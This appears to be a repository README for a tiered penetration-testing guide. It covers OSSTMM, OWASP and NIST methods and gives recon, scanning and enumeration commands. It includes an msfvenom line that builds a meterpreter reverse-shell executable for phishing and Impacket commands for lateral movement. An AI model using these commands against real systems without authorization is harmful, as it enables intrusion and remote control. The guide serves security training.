This comprehensive penetration testing guide is designed to serve as an all-inclusive resource for both beginner and advanced penetration testers. It covers a wide array of methodologies and specialized techniques, including external recon, network testing, WiFi pentesting, phishing, brute force attacks, tunneling, port forwarding, and the search for exploits. Each section is structured to be relevant to today's cybersecurity landscape, providing up-to-date information and detailed, practical examples. The aim is to ensure that penetration testers can conduct thorough assessments from start to finish. Sections are organized by levels of complexity—starting with easy commands, progressing to intermediate techniques, and finally advanced approaches—to accommodate a range of expertise.
This guide presents a comprehensive range of commands, tools, and methodologies that can be immediately applied to different stages of a penetration test. It aims to assist penetration testers of all levels in understanding security assessments, gaining hands-on experience, and overcoming technical challenges. Additionally, the guide provides insights into developing persistence and lateral movement within compromised environments, making it an indispensable resource for achieving a deeper understanding of the hacking lifecycle.
Penetration testing is an iterative and adaptive practice that evolves over time. This guide emphasizes the importance of continuous learning and staying abreast of industry trends, especially with regard to emerging vulnerabilities, tools, and techniques. Furthermore, the guide promotes the use of community-driven, open-source tools, thereby encouraging testers to actively contribute to and learn from the wider cybersecurity community. Ultimately, this guide aims to provide not only practical know-how but also the underlying theory and contextual awareness that are necessary to stay ahead in the constantly evolving field of cybersecurity.
- Generic Methodologies & Resources
- Pentesting Methodology
- External Recon Methodology
- Pentesting Network
- Pentesting Wifi
- Phishing Methodology
- Brute Force
- Tunneling and Port Forwarding
- Search Exploits
- Additional Resources & Best Practices
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OSSTMM (Open Source Security Testing Methodology Manual)
- Scope: Provides an introduction to operational security testing, including basic scoping and testing techniques.
- Application: Understand how to define the scope of a penetration test and use a checklist to evaluate security controls.
- Benefits: This methodology is crucial for beginners who need to understand the fundamentals of security testing and for those who need to ensure their tests align with industry standards.
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OWASP Testing Guide
- Focus: Application security testing with beginner-friendly approaches, such as identifying misconfigurations and vulnerabilities using checklists.
- Application: Follow the OWASP checklist to identify potential vulnerabilities like weak authentication or sensitive data exposure.
- Benefits: The OWASP guide serves as a foundation for web application penetration testing, making it ideal for testers looking to dive into web security.
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NIST SP 800-115
- Purpose: Introduce a systematic framework for basic security assessments, including general guidelines for information gathering.
- Application: Use the guidelines for creating structured penetration testing plans and documenting each step effectively.
- Benefits: This resource ensures that penetration testing procedures follow regulatory requirements and are meticulously documented.
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Tools: Use simple resources like
Exploit-DB
and theNIST Vulnerability Database
to understand vulnerabilities.- Application: Search for publicly available vulnerabilities and explore known exploits to understand their mechanisms.
- Benefits: This step helps testers learn about specific exploits and their applications, providing insight into both common and uncommon attack vectors.
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OSSTMM In-Depth Testing
- Expand to detailed process testing and vulnerability identification. Learn how to effectively scope penetration tests using interactive tools.
- Application: Apply deeper testing methods to the defined scope, using process testing to evaluate multiple facets of network security.
- Benefits: The detailed scoping process improves the accuracy of test results, ensuring that no critical components are left unchecked.
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OWASP Intermediate Testing
- Use tools like
ZAP
andBurp Suite Community Edition
to automatically identify common vulnerabilities. - Application: Use automated scanning tools to identify potential issues like XSS, SQLi, or broken access controls.
- Benefits: Automation saves time while ensuring a broad surface area is scanned for potential vulnerabilities, allowing testers to prioritize and focus on the most severe issues.
- Use tools like
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NIST Intermediate Analysis
- Utilize templates for report generation and integrate more advanced tools to ensure comprehensive assessments.
- Application: Use templates provided in the NIST guide to prepare standardized test reports that include analysis of identified vulnerabilities.
- Benefits: This approach ensures consistency in reporting, helping teams understand vulnerabilities systematically and improving remediation processes.
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Full OSSTMM Application
- Conduct full-scale testing, analysis, and metrics-based quantification of operational risks.
- Application: Carry out comprehensive tests on all operational processes and assess both technical and physical security controls.
- Benefits: The metrics-based approach provides an objective quantification of risk, making it easier to communicate findings to stakeholders.
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OWASP Advanced Security Assessments
- Perform in-depth threat modeling, risk analysis, and manual vulnerability exploitation.
- Application: Use advanced threat modeling to identify all possible attack vectors and conduct manual testing to exploit vulnerabilities.
- Benefits: Manual exploitation confirms the existence of vulnerabilities and provides a realistic perspective on potential business impacts.
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NIST Advanced Framework
- Implement all guidelines to thoroughly plan, execute, and report on penetration tests.
- Application: Perform deep-dive analysis of both detected vulnerabilities and the overall security posture of the system.
- Benefits: Compliance with NIST helps achieve both security assurance and regulatory adherence, supporting organizational risk management initiatives.
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Tools: Utilize
Burp Suite Pro
,Cobalt Strike
,Metasploit
, and other automated tools for comprehensive security testing.- Application: Leverage advanced features in these tools for efficient exploitation, including payload generation and evasion of defenses.
- Benefits: Automation combined with manual control allows for a nuanced approach that saves time while enhancing accuracy.
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Basic OSINT
- Whois, Nslookup, theHarvester: Gather domain and network information about the target.
whois target.com nslookup target.com theHarvester -d target.com -b all
- Application: Use these tools to gather initial information about the domain owner, contact details, and publicly available records.
- Benefits: Provides foundational knowledge of the target, allowing you to develop subsequent attack strategies more effectively.
- Whois, Nslookup, theHarvester: Gather domain and network information about the target.
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Port Scanning
- Nmap Quick Scan: Perform basic port scans to identify open ports.
nmap -F [target_ip]
- Application: Identify commonly open ports that could be targeted for further testing.
- Benefits: Quickly identifies potential entry points into the system, helping you determine the most promising attack vectors.
- Nmap Quick Scan: Perform basic port scans to identify open ports.
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Web Scanning
- Nikto: Scan a website for basic vulnerabilities.
nikto -h http://target.com
- Application: Identify outdated software, default files, or configurations that can potentially be exploited.
- Benefits: Uncover known issues with minimal effort, highlighting immediate opportunities for exploitation.
- Nikto: Scan a website for basic vulnerabilities.
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Automated Recon Tools
- Recon-ng and Maltego: Automate information gathering with more detailed recon.
recon-ng
- Application: Automate the collection of intelligence such as domain records, social profiles, and network infrastructure.
- Benefits: Reduces manual effort while ensuring comprehensive data collection, which can be used to plan more targeted attacks.
- Recon-ng and Maltego: Automate information gathering with more detailed recon.
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Nmap with NSE Scripts
- Service Scanning and Enumeration: Use Nmap’s built-in NSE scripts for vulnerability identification.
nmap --script=http-enum [target_ip]
- Application: Extract banner information, detect specific service vulnerabilities, and identify misconfigurations.
- Benefits: Helps refine the scope by zeroing in on known issues related to the services running on open ports.
- Service Scanning and Enumeration: Use Nmap’s built-in NSE scripts for vulnerability identification.
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Intermediate Exploitation with MSFVenom
- Generate platform-specific payloads for targeted exploitation.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[your_ip] LPORT=[port] -f exe > payload.exe
- Application: Create payloads tailored for a specific platform and incorporate them into phishing or social engineering attacks.
- Benefits: Enhances control over payload creation, ensuring that exploits are customized to the target environment.
- Generate platform-specific payloads for targeted exploitation.
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Advanced OSINT
- Spiderfoot, Shodan, and Censys: Leverage OSINT tools for an in-depth understanding of exposed services.
spiderfoot -t target.com shodan host [target_ip]
- Application: Identify open services, public records, and vulnerabilities across IoT devices using specialized OSINT tools.
- Benefits: Provides a holistic view of the organization's attack surface, exposing potential entry points that traditional scanning tools might miss.
- Spiderfoot, Shodan, and Censys: Leverage OSINT tools for an in-depth understanding of exposed services.
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Aggressive Nmap Techniques
- Full Range Scanning and Aggressive Options
nmap -p- -A -T4 [target_ip]
- Application: Perform comprehensive scans on all available ports and collect system information such as OS, versions, and running services.
- Benefits: Exhaustive scans ensure that even obscure services are detected and analyzed, minimizing the risk of missing critical vulnerabilities.
- Full Range Scanning and Aggressive Options
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Custom Exploit Writing
- Pwntools: Use Python-based libraries to create custom exploits for buffer overflows or web-based vulnerabilities.
from pwn import *
- Application: Develop custom payloads that can be used to exploit specific vulnerabilities discovered during testing.
- Benefits: Custom exploit development allows for precision targeting, especially when dealing with unique or less common vulnerabilities.
- Pwntools: Use Python-based libraries to create custom exploits for buffer overflows or web-based vulnerabilities.
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Advanced Post-Exploitation with Impacket
- Move Laterally and Maintain Access
wmiexec.py [user]:[password]@[target_ip] psexec.py [user]:[password]@[target_ip]
- Application: Gain persistent access to the system and explore lateral movement options to expand your reach within the target environment.
- Benefits: Maintains access while exploring additional systems within the network, supporting thorough testing of internal defenses.
- Move Laterally and Maintain Access
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DNS Enumeration
- Nslookup and Dig: Use these tools to perform basic DNS lookups and zone transfers (if allowed).
nslookup target.com dig axfr target.com @ns1.target.com
- Application: Gather DNS information to identify potential subdomains or weak records that may lead to DNS poisoning or subdomain hijacking.
- Benefits: Enumerating DNS provides insight into potential weak points in domain infrastructure, allowing for targeted attacks.
- Nslookup and Dig: Use these tools to perform basic DNS lookups and zone transfers (if allowed).
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Subdomain Discovery
- Sublist3r: Find subdomains using OSINT.
sublist3r -d target.com
- Application: Enumerate subdomains to expand the attack surface and identify additional services.
- Benefits: Identifying subdomains helps find potential points of entry that may not be immediately obvious.
- Sublist3r: Find subdomains using OSINT.
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Basic Web Analysis
- Check Open Directories Manually: Look for
/robots.txt
and/sitemap.xml
files. - Application: Identify sensitive directories and configuration files that might contain useful information for attackers.
- Benefits: Locates exposed files and directories that could contain sensitive information, providing valuable reconnaissance data.
- Check Open Directories Manually: Look for
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Advanced DNS Recon
- Dnsenum and Fierce: Gather DNS records and look for possible zone transfers.
dnsenum target.com fierce -dns target.com
- Application: Use DNS enumeration to identify all DNS records, including MX and TXT records, to gather valuable information.
- Benefits: Helps discover additional domains, network infrastructure, and potential vulnerabilities in DNS configurations.
- Dnsenum and Fierce: Gather DNS records and look for possible zone transfers.
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Intermediate Subdomain Enumeration
- Amass: Enumerate subdomains using a combination of brute-force and passive analysis.
amass enum -d target.com
- Application: Obtain a comprehensive list of subdomains by combining passive analysis with active brute-force techniques.
- Benefits: Comprehensive subdomain enumeration reduces the chance of missing out on crucial assets that could be exploited.
- Amass: Enumerate subdomains using a combination of brute-force and passive analysis.
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Social Media Profiling
- LinkedInt and Sherlock: Gather employee information and match usernames across social platforms.
- Application: Use social engineering to gather information about key employees that can be used in phishing attacks.
- Benefits: Collecting social data about employees can lead to the discovery of weak entry points through social engineering tactics.
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Cloud and Infrastructure Recon
- CloudMapper and Azucar: Use these tools to identify vulnerabilities in AWS and Azure environments.
cloudmapper.py collect --account myaccount azucar -s target.com
- Application: Gain insights into the target's cloud infrastructure, identify security gaps, and discover misconfigurations.
- Benefits: Understanding cloud infrastructure vulnerabilities is critical given the rapid adoption of cloud services in modern enterprises.
- CloudMapper and Azucar: Use these tools to identify vulnerabilities in AWS and Azure environments.
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If you’d like to contribute, feel free to fork this repository and add any tools or resources that enhance the guide. Contributions to specific examples or additional resources will help this collection grow and stay up-to-date with the latest in cybersecurity.
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Happy hacking! 👾